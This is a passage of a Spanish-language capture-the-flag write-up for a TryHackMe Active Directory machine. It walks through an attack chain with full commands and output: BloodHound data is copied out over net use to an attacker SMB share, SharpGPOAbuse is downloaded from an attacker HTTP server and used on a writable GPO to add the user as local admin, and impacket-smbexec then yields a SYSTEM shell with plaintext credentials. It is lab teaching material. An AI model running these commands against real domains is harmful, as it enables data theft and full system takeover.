[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

De vuelta a la mçaquina víctima, nos conectamos a este recurso compartido pasando las credenciales que hemos definido anteriormente:

PS C:\Users\enterprise-security\Downloads> net use x: \\10.14.104.16\smbFolder /user:gunzf0x gunzf0x123

The command completed successfully.

Podemos revisar si esto ha funcionado utilizando el comando dir al recurso compartido y así ver los recursos dentro de éste:

PS C:\Users\enterprise-security\Downloads> dir x:\


    Directory: x:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/25/2025   8:26 AM            170 PurgeIrrelevantData_1826.ps1

Funcionó dado que podemos ver su contenido.

Pasamos de esta manera el archivo .zip desde la máquina víctima a la carpeta compartida (que no es más que nuestra máquina de atacantes):

PS C:\Users\enterprise-security\Downloads> copy 20250625101202_BloodHound.zip x:\20250625101202_BloodHound.zip

Y, finalmente, borramos la conexión:

PS C:\Users\enterprise-security\Downloads> net use x: /delete /y

x: was deleted successfully.

Aquí no entraré en detalles de cómo instalar y utilizar Bloodhound, dado que no es el enfoque del WriteUp y es algo extenso. Sin embargo, podemos seguir los pasos de este blog para instalarlo. Esencialmente, ejecutamos Bloodhound sobre un container de Docker.

En mi caso, utilizo la Community Edition, o CE, de Bloodhound. Esto porque hace algunos meses salió esta versión nueva y ahora existe tanto la versión Legacy como la versión Community Edition.

Subimos así el .zip descargado a BloodHound. Cuando se hayan cargado los datos, buscamos por nuestro usuario, clickeamos en él y luego clickeamos en Outbound Object Control al lado derecho. Podemos así ver:

VulnNet Active 1

Tenemos el permiso GenericWrite sobre el GPO llamado security-pol-vn, tal cual habíamos visto con PowerView.ps1.

La ventaja aquí es que el mapeo sí muestra los objetos “linkeados” a la GPO (a qué usuarios y grupos afecta); podemos ver así que afecta a todo el dominio. Por ejemplo, en la pestaña de Pathfinding, buscamos cómo llegar desde el usuario enterprise-security hasta el grupo Administrators:

VulnNet Active 2

Por ende, el plan es simple: como el usuario enterprise-security, usamos la GPO para agregarnos a nosotros mismos (usuario enterprise-security) al grupo Administrators en la máquina actual.

Para este propósito podemos usar la herramienta SharpGPOAbuse (la cual puede ser descargada desde este repositorio o este repositorio como un binario “pre-compilado”; de lo contrario hay que ir al repositorio oficial de SharpGPOAbuse y compilar un binario por nuestra propia cuenta). Como ya es usual, iniciamos un servidor web mediante un servidor HTTP con Python por el puerto 8000 en nuestra máquina de atacantes. En la máquina víctima, descargamos el binario de SharpGPOAbuse utilizando PowerShell:

PS C:\Users\enterprise-security\Downloads> iwr -uri http://10.14.104.16:8000/SharpGPOAbuse.exe -o .\sharpgpoabuse.exe

Finalmente, ejecutamos el binario descargado de SharpGPOAbuse para agregar un usuario al que tengamos acceso, como puede ser enterprise-security, al grupo Administrators:

PS C:\Users\enterprise-security\Downloads> ./sharpgpoabuse.exe --AddLocalAdmin --UserAccount enterprise-security --GPOName "security-pol-vn"

[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] SID Value of enterprise-security = S-1-5-21-1405206085-1650434706-76331420-1103
[+] GUID of "security-pol-vn" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

Un detalle de las GPOs es que éstas se aplican cada, aproximadamente, 90 minutos. Por lo que podríamos esperar 90 minutos y esperar hasta que se realicen los cambios… o podríamos tratar de “forzar” a que se actualicen las GPOs mediante el comando gpupdate:

PS C:\Users\enterprise-security\Downloads> gpupdate /force

Updating policy...



Computer Policy update has completed successfully.

User Policy update has completed successfully.
Nota
En la vida real no siempre podremos forzar a que se actualicen las GPOs. Para ejecutar el comando anterior usualmente se requieren ciertos privilegios.

Ya que aparentemente se ha actualizado el GPO, esto debería de haber ejecutado la acción maliciosa anclada éste. Podemos ver así que el usuario enterprise-security es ahora parte del grupo de Administradores:

PS C:\Users\enterprise-security\Downloads> net user enterprise-security

User name                    enterprise-security
Full Name                    Enterprise Security
Comment                      TryHackMe
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2021 4:01:37 PM
Password expires             Never
Password changeable          2/24/2021 4:01:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/25/2025 10:33:17 AM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

Somos parte del grupo Administrators (Administradores).

Por tanto, dado que ahora somos un usuario privilegiado en sl sistema, podemos utilizar una herramienta como smbexec.py de la suite de Impacket usando las credenciales del usuario privilegiado para obtener una shell como el usuario nt authority/system en la máquina víctima:

❯ impacket-smbexec vulnnet.local/enterprise-security:'sand_0873959498'@10.10.203.36

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

nt authority\system

GG. Podemos extraer la flag system.txt en el Desktop del usuario Administrator.

~Happy Hacking.